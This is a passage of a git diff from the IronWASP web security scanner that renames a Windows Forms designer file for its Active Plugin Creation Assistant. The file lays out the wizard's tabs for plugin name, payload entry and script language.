public int AverageBaseTime = 0; + public int DelayInduced = 0; + public int DelayObserved = 0; + public string DelayPayload = ""; + public Request DelayRequest; + public Response DelayResponse; + } +} diff --git a/IronWASP/ActivePluginCreationAssistant.Designer.cs b/Iron/ActivePluginCreationAssistant.Designer.cs similarity index 98% rename from IronWASP/ActivePluginCreationAssistant.Designer.cs rename to Iron/ActivePluginCreationAssistant.Designer.cs index ed30be4..0282e0c 100644 --- a/IronWASP/ActivePluginCreationAssistant.Designer.cs +++ b/Iron/ActivePluginCreationAssistant.Designer.cs @@ -1,622 +1,622 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class ActivePluginCreationAssistant - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ActivePluginCreationAssistant)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.NameTab = new System.Windows.Forms.TabPage(); - this.label2 = new System.Windows.Forms.Label(); - this.PluginDescTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.PluginNameTB = new System.Windows.Forms.TextBox(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.PayloadsTab = new System.Windows.Forms.TabPage(); - this.label5 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.NoOriginalParameterRB = new System.Windows.Forms.RadioButton(); - this.OriginalParameterAfterPayloadRB = new System.Windows.Forms.RadioButton(); - this.OriginalParameterBeforePayloadRB = new System.Windows.Forms.RadioButton(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.PayloadsFileLbl = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.PayloadsListTB = new System.Windows.Forms.TextBox(); - this.LoadPayloadsFileLL = new System.Windows.Forms.LinkLabel(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.LanguageTab = new System.Windows.Forms.TabPage(); - this.groupBox2 = new System.Windows.Forms.GroupBox(); - this.PluginLangRubyRB = new System.Windows.Forms.RadioButton(); - this.PluginLangPythonRB = new System.Windows.Forms.RadioButton(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.FinalTab = new System.Windows.Forms.TabPage(); - this.PluginFileTB = new System.Windows.Forms.TextBox(); - this.label6 = new System.Windows.Forms.Label(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.PayloadFileOpener = new System.Windows.Forms.OpenFileDialog(); - this.BaseTabs.SuspendLayout(); - this.NameTab.SuspendLayout(); - this.PayloadsTab.SuspendLayout(); - this.LanguageTab.SuspendLayout(); - this.groupBox2.SuspendLayout(); - this.FinalTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.NameTab); - this.BaseTabs.Controls.Add(this.PayloadsTab); - this.BaseTabs.Controls.Add(this.LanguageTab); - this.BaseTabs.Controls.Add(this.FinalTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(684, 461); - this.BaseTabs.TabIndex = 16; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // NameTab - // - this.NameTab.Controls.Add(this.label2); - this.NameTab.Controls.Add(this.PluginDescTB); - this.NameTab.Controls.Add(this.label1); - this.NameTab.Controls.Add(this.PluginNameTB); - this.NameTab.Controls.Add(this.Step0StatusTB); - this.NameTab.Controls.Add(this.CancelBtn); - this.NameTab.Controls.Add(this.textBox2); - this.NameTab.Controls.Add(this.StepOneNextBtn); - this.NameTab.Location = new System.Drawing.Point(4, 25); - this.NameTab.Margin = new System.Windows.Forms.Padding(0); - this.NameTab.Name = "NameTab"; - this.NameTab.Padding = new System.Windows.Forms.Padding(5); - this.NameTab.Size = new System.Drawing.Size(676, 432); - this.NameTab.TabIndex = 0; - this.NameTab.Text = " Plugin Name "; - this.NameTab.UseVisualStyleBackColor = true; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(11, 145); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(95, 13); - this.label2.TabIndex = 10; - this.label2.Text = "Plugin Description:"; - // - // PluginDescTB - // - this.PluginDescTB.Location = new System.Drawing.Point(110, 142); - this.PluginDescTB.Name = "PluginDescTB"; - this.PluginDescTB.Size = new System.Drawing.Size(556, 20); - this.PluginDescTB.TabIndex = 9; - this.PluginDescTB.TextChanged += new System.EventHandler(this.PluginDescTB_TextChanged); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(32, 98); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(70, 13); - this.label1.TabIndex = 8; - this.label1.Text = "Plugin Name:"; - // - // PluginNameTB - // - this.PluginNameTB.Location = new System.Drawing.Point(110, 95); - this.PluginNameTB.Name = "PluginNameTB"; - this.PluginNameTB.Size = new System.Drawing.Size(556, 20); - this.PluginNameTB.TabIndex = 7; - this.PluginNameTB.TextChanged += new System.EventHandler(this.PluginNameTB_TextChanged); - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(130, 374); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(409, 50); - this.Step0StatusTB.TabIndex = 6; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(8, 401); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 4; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox2.Location = new System.Drawing.Point(5, 5); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(666, 61); - this.textBox2.TabIndex = 3; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(561, 401); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 2; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // PayloadsTab - // - this.PayloadsTab.Controls.Add(this.label5); - this.PayloadsTab.Controls.Add(this.label4); - this.PayloadsTab.Controls.Add(this.NoOriginalParameterRB); - this.PayloadsTab.Controls.Add(this.OriginalParameterAfterPayloadRB); - this.PayloadsTab.Controls.Add(this.OriginalParameterBeforePayloadRB); - this.PayloadsTab.Controls.Add(this.textBox7); - this.PayloadsTab.Controls.Add(this.PayloadsFileLbl); - this.PayloadsTab.Controls.Add(this.label3); - this.PayloadsTab.Controls.Add(this.PayloadsListTB); - this.PayloadsTab.Controls.Add(this.LoadPayloadsFileLL); - this.PayloadsTab.Controls.Add(this.Step1StatusTB); - this.PayloadsTab.Controls.Add(this.textBox4); - this.PayloadsTab.Controls.Add(this.StepTwoPreviousBtn); - this.PayloadsTab.Controls.Add(this.StepTwoNextBtn); - this.PayloadsTab.Location = new System.Drawing.Point(4, 25); - this.PayloadsTab.Margin = new System.Windows.Forms.Padding(0); - this.PayloadsTab.Name = "PayloadsTab"; - this.PayloadsTab.Padding = new System.Windows.Forms.Padding(5); - this.PayloadsTab.Size = new System.Drawing.Size(676, 432); - this.PayloadsTab.TabIndex = 1; - this.PayloadsTab.Text = " Select Payloads "; - this.PayloadsTab.UseVisualStyleBackColor = true; - // - // label5 - // - this.label5.AutoEllipsis = true; - this.label5.AutoSize = true; - this.label5.Location = new System.Drawing.Point(11, 356); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(468, 13); - this.label5.TabIndex = 26; - this.label5.Text = "During testing sometimes the parameter\'s original value needs to be added along w" + - "ith the payload."; - // - // label4 - // - this.label4.AutoSize = true; - this.label4.Location = new System.Drawing.Point(11, 374); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(311, 13); - this.label4.TabIndex = 25; - this.label4.Text = "Where do you want to add the tested parameter\'s original value?"; - // - // NoOriginalParameterRB - // - this.NoOriginalParameterRB.AutoSize = true; - this.NoOriginalParameterRB.Location = new System.Drawing.Point(600, 372); - this.NoOriginalParameterRB.Name = "NoOriginalParameterRB"; - this.NoOriginalParameterRB.Size = new System.Drawing.Size(69, 17); - this.NoOriginalParameterRB.TabIndex = 24; - this.NoOriginalParameterRB.Text = "don\'t add"; - this.NoOriginalParameterRB.UseVisualStyleBackColor = true; - // - // OriginalParameterAfterPayloadRB - // - this.OriginalParameterAfterPayloadRB.AutoSize = true; - this.OriginalParameterAfterPayloadRB.Location = new System.Drawing.Point(480, 372); - this.OriginalParameterAfterPayloadRB.Name = "OriginalParameterAfterPayloadRB"; - this.OriginalParameterAfterPayloadRB.Size = new System.Drawing.Size(104, 17); - this.OriginalParameterAfterPayloadRB.TabIndex = 23; - this.OriginalParameterAfterPayloadRB.Text = "after the payload"; - this.OriginalParameterAfterPayloadRB.UseVisualStyleBackColor = true; - // - // OriginalParameterBeforePayloadRB - // - this.OriginalParameterBeforePayloadRB.AutoSize = true; - this.OriginalParameterBeforePayloadRB.Checked = true; - this.OriginalParameterBeforePayloadRB.Location = new System.Drawing.Point(352, 372); - this.OriginalParameterBeforePayloadRB.Name = "OriginalParameterBeforePayloadRB"; - this.OriginalParameterBeforePayloadRB.Size = new System.Drawing.Size(113, 17); - this.OriginalParameterBeforePayloadRB.TabIndex = 22; - this.OriginalParameterBeforePayloadRB.TabStop = true; - this.OriginalParameterBeforePayloadRB.Text = "before the payload"; - this.OriginalParameterBeforePayloadRB.UseVisualStyleBackColor = true; - // - // textBox7 - // - this.textBox7.BackColor = System.Drawing.SystemColors.Control; - this.textBox7.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox7.ForeColor = System.Drawing.Color.Blue; - this.textBox7.Location = new System.Drawing.Point(15, 287); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.ReadOnly = true; - this.textBox7.Size = new System.Drawing.Size(637, 49); - this.textBox7.TabIndex = 16; - this.textBox7.TabStop = false; - this.textBox7.Text = "NOTE: \r\nThe payloads must be in Url Encoded form. For example null character must" + - " be represented as %00, new line as %0a, space character as +, + character as %2" + - "b and so on."; - // - // PayloadsFileLbl - // - this.PayloadsFileLbl.AutoSize = true; - this.PayloadsFileLbl.Location = new System.Drawing.Point(129, 247); - this.PayloadsFileLbl.Name = "PayloadsFileLbl"; - this.PayloadsFileLbl.Size = new System.Drawing.Size(376, 13); - this.PayloadsFileLbl.TabIndex = 21; - this.PayloadsFileLbl.Text = " " + - " "; - // - // label3 - // - this.label3.AutoSize = true; - this.label3.Location = new System.Drawing.Point(9, 264); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(501, 13); - this.label3.TabIndex = 20; - this.label3.Text = "(If there are more than 5 payloads then they will be saved in a seperate file in " + - "the Active Plugins directory)"; - // - // PayloadsListTB - // - this.PayloadsListTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.PayloadsListTB.Location = new System.Drawing.Point(8, 53); - this.PayloadsListTB.Multiline = true; - this.PayloadsListTB.Name = "PayloadsListTB"; - this.PayloadsListTB.ScrollBars = System.Windows.Forms.ScrollBars.Both; - this.PayloadsListTB.Size = new System.Drawing.Size(660, 188); - this.PayloadsListTB.TabIndex = 17; - this.PayloadsListTB.WordWrap = false; - // - // LoadPayloadsFileLL - // - this.LoadPayloadsFileLL.AutoSize = true; - this.LoadPayloadsFileLL.Location = new System.Drawing.Point(8, 247); - this.LoadPayloadsFileLL.Name = "LoadPayloadsFileLL"; - this.LoadPayloadsFileLL.Size = new System.Drawing.Size(115, 13); - this.LoadPayloadsFileLL.TabIndex = 16; - this.LoadPayloadsFileLL.TabStop = true; - this.LoadPayloadsFileLL.Text = "Load payloads from file"; - this.LoadPayloadsFileLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.LoadPayloadsFileLL_LinkClicked); - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.Location = new System.Drawing.Point(119, 402); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(438, 22); - this.Step1StatusTB.TabIndex = 11; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox4.Location = new System.Drawing.Point(5, 5); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(666, 45); - this.textBox4.TabIndex = 9; - this.textBox4.TabStop = false; - this.textBox4.Text = "\r\nPlease specify the payloads you want to be sent by this Active Plugin. You can " + - "either type the payloads one per line or provide a file with the list of payload" + - "s.\r\n\r\n"; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 401); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 8; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(563, 401); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 7; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // LanguageTab - // - this.LanguageTab.Controls.Add(this.groupBox2); - this.LanguageTab.Controls.Add(this.Step2StatusTB); - this.LanguageTab.Controls.Add(this.textBox5); - this.LanguageTab.Controls.Add(this.StepThreePreviousBtn); - this.LanguageTab.Controls.Add(this.StepThreeNextBtn); - this.LanguageTab.Location = new System.Drawing.Point(4, 25); - this.LanguageTab.Name = "LanguageTab"; - this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); - this.LanguageTab.Size = new System.Drawing.Size(676, 432); - this.LanguageTab.TabIndex = 2; - this.LanguageTab.Text = " Select Language "; - this.LanguageTab.UseVisualStyleBackColor = true; - // - // groupBox2 - // - this.groupBox2.Controls.Add(this.PluginLangRubyRB); - this.groupBox2.Controls.Add(this.PluginLangPythonRB); - this.groupBox2.Location = new System.Drawing.Point(7, 114); - this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(660, 110); - this.groupBox2.TabIndex = 20; - this.groupBox2.TabStop = false; - this.groupBox2.Text = "Which language should the plugin be created in?"; - // - // PluginLangRubyRB - // - this.PluginLangRubyRB.AutoSize = true; - this.PluginLangRubyRB.Location = new System.Drawing.Point(12, 79); - this.PluginLangRubyRB.Name = "PluginLangRubyRB"; - this.PluginLangRubyRB.Size = new System.Drawing.Size(50, 17); - this.PluginLangRubyRB.TabIndex = 15; - this.PluginLangRubyRB.Text = "Ruby"; - this.PluginLangRubyRB.UseVisualStyleBackColor = true; - // - // PluginLangPythonRB - // - this.PluginLangPythonRB.AutoSize = true; - this.PluginLangPythonRB.Checked = true; - this.PluginLangPythonRB.Location = new System.Drawing.Point(12, 29); - this.PluginLangPythonRB.Name = "PluginLangPythonRB"; - this.PluginLangPythonRB.Size = new System.Drawing.Size(58, 17); - this.PluginLangPythonRB.TabIndex = 14; - this.PluginLangPythonRB.TabStop = true; - this.PluginLangPythonRB.Text = "Python"; - this.PluginLangPythonRB.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.Location = new System.Drawing.Point(132, 385); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(410, 39); - this.Step2StatusTB.TabIndex = 13; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // textBox5 - // - this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.Location = new System.Drawing.Point(5, 5); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(666, 77); - this.textBox5.TabIndex = 11; - this.textBox5.TabStop = false; - this.textBox5.Text = "\r\nActive Plugins can be written in Python or in Ruby. Choose you language of choi" + - "ce and this Active Plugin will be created in that language."; - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreePreviousBtn.Location = new System.Drawing.Point(8, 401); - this.StepThreePreviousBtn.Name = "StepThreePreviousBtn"; - this.StepThreePreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreePreviousBtn.TabIndex = 10; - this.StepThreePreviousBtn.Text = "<-Previous Step"; - this.StepThreePreviousBtn.UseVisualStyleBackColor = true; - this.StepThreePreviousBtn.Click += new System.EventHandler(this.StepThreePreviousBtn_Click); - // - // StepThreeNextBtn - // - this.StepThreeNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepThreeNextBtn.Location = new System.Drawing.Point(563, 401); - this.StepThreeNextBtn.Name = "StepThreeNextBtn"; - this.StepThreeNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepThreeNextBtn.TabIndex = 9; - this.StepThreeNextBtn.Text = "Next Step ->"; - this.StepThreeNextBtn.UseVisualStyleBackColor = true; - this.StepThreeNextBtn.Click += new System.EventHandler(this.StepThreeNextBtn_Click); - // - // FinalTab - // - this.FinalTab.Controls.Add(this.PluginFileTB); - this.FinalTab.Controls.Add(this.label6); - this.FinalTab.Controls.Add(this.textBox1); - this.FinalTab.Controls.Add(this.FinalBtn); - this.FinalTab.Location = new System.Drawing.Point(4, 25); - this.FinalTab.Name = "FinalTab"; - this.FinalTab.Padding = new System.Windows.Forms.Padding(5); - this.FinalTab.Size = new System.Drawing.Size(676, 432); - this.FinalTab.TabIndex = 3; - this.FinalTab.Text = " Done "; - this.FinalTab.UseVisualStyleBackColor = true; - // - // PluginFileTB - // - this.PluginFileTB.Location = new System.Drawing.Point(75, 280); - this.PluginFileTB.Name = "PluginFileTB"; - this.PluginFileTB.Size = new System.Drawing.Size(591, 20); - this.PluginFileTB.TabIndex = 23; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(11, 283); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(58, 13); - this.label6.TabIndex = 22; - this.label6.Text = "Plugin File:"; - // - // textBox1 - // - this.textBox1.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox1.Location = new System.Drawing.Point(16, 41); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.ReadOnly = true; - this.textBox1.Size = new System.Drawing.Size(637, 209); - this.textBox1.TabIndex = 21; - this.textBox1.Text = resources.GetString("textBox1.Text"); - // - // FinalBtn - // - this.FinalBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.FinalBtn.Location = new System.Drawing.Point(491, 389); - this.FinalBtn.Name = "FinalBtn"; - this.FinalBtn.Size = new System.Drawing.Size(177, 35); - this.FinalBtn.TabIndex = 16; - this.FinalBtn.Text = "Close this Assistant"; - this.FinalBtn.UseVisualStyleBackColor = true; - this.FinalBtn.Click += new System.EventHandler(this.FinalBtn_Click); - // - // ActivePluginCreationAssistant - // - this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(684, 461); - this.Controls.Add(this.BaseTabs); - this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); - this.MaximumSize = new System.Drawing.Size(700, 500); - this.MinimumSize = new System.Drawing.Size(700, 500); - this.Name = "ActivePluginCreationAssistant"; - this.Text = "ActivePlugin Creation Assistant"; - this.BaseTabs.ResumeLayout(false); - this.NameTab.ResumeLayout(false); - this.NameTab.PerformLayout(); - this.PayloadsTab.ResumeLayout(false); - this.PayloadsTab.PerformLayout(); - this.LanguageTab.ResumeLayout(false); - this.LanguageTab.PerformLayout(); - this.groupBox2.ResumeLayout(false); - this.groupBox2.PerformLayout(); - this.FinalTab.ResumeLayout(false); - this.FinalTab.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TabControl BaseTabs; - private System.Windows.Forms.TabPage NameTab; - internal System.Windows.Forms.TextBox Step0StatusTB; - private System.Windows.Forms.Button CancelBtn; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.Button StepOneNextBtn; - private System.Windows.Forms.TabPage PayloadsTab; - internal System.Windows.Forms.TextBox Step1StatusTB; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.Button StepTwoPreviousBtn; - private System.Windows.Forms.Button StepTwoNextBtn; - private System.Windows.Forms.TabPage LanguageTab; - internal System.Windows.Forms.TextBox Step2StatusTB; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.Button StepThreePreviousBtn; - private System.Windows.Forms.Button StepThreeNextBtn; - private System.Windows.Forms.TabPage FinalTab; - private System.Windows.Forms.Button FinalBtn; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.TextBox PluginDescTB; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.TextBox PluginNameTB; - private System.Windows.Forms.OpenFileDialog PayloadFileOpener; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.TextBox PayloadsListTB; - private System.Windows.Forms.LinkLabel LoadPayloadsFileLL; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label PayloadsFileLbl; - private System.Windows.Forms.GroupBox groupBox2; - private System.Windows.Forms.RadioButton PluginLangRubyRB; - private System.Windows.Forms.RadioButton PluginLangPythonRB; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.RadioButton NoOriginalParameterRB; - private System.Windows.Forms.RadioButton OriginalParameterAfterPayloadRB; - private System.Windows.Forms.RadioButton OriginalParameterBeforePayloadRB; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.TextBox PluginFileTB; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.TextBox textBox1; - } +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +namespace IronWASP +{ + partial class ActivePluginCreationAssistant + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ActivePluginCreationAssistant)); + this.BaseTabs = new System.Windows.Forms.TabControl(); + this.NameTab = new System.Windows.Forms.TabPage(); + this.label2 = new System.Windows.Forms.Label(); + this.PluginDescTB = new System.Windows.Forms.TextBox(); + this.label1 = new System.Windows.Forms.Label(); + this.PluginNameTB = new System.Windows.Forms.TextBox(); + this.Step0StatusTB = new System.Windows.Forms.TextBox(); + this.CancelBtn = new System.Windows.Forms.Button(); + this.textBox2 = new System.Windows.Forms.TextBox(); + this.StepOneNextBtn = new System.Windows.Forms.Button(); + this.PayloadsTab = new System.Windows.Forms.TabPage(); + this.label5 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.NoOriginalParameterRB = new System.Windows.Forms.RadioButton(); + this.OriginalParameterAfterPayloadRB = new System.Windows.Forms.RadioButton(); + this.OriginalParameterBeforePayloadRB = new System.Windows.Forms.RadioButton(); + this.textBox7 = new System.Windows.Forms.TextBox(); + this.PayloadsFileLbl = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.PayloadsListTB = new System.Windows.Forms.TextBox(); + this.LoadPayloadsFileLL = new System.Windows.Forms.LinkLabel(); + this.Step1StatusTB = new System.Windows.Forms.TextBox(); + this.textBox4 = new System.Windows.Forms.TextBox(); + this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); + this.StepTwoNextBtn = new System.Windows.Forms.Button(); + this.LanguageTab = new System.Windows.Forms.TabPage(); + this.groupBox2 = new System.Windows.Forms.GroupBox(); + this.PluginLangRubyRB = new System.Windows.Forms.RadioButton(); + this.PluginLangPythonRB = new System.Windows.Forms.RadioButton(); + this.Step2StatusTB = new 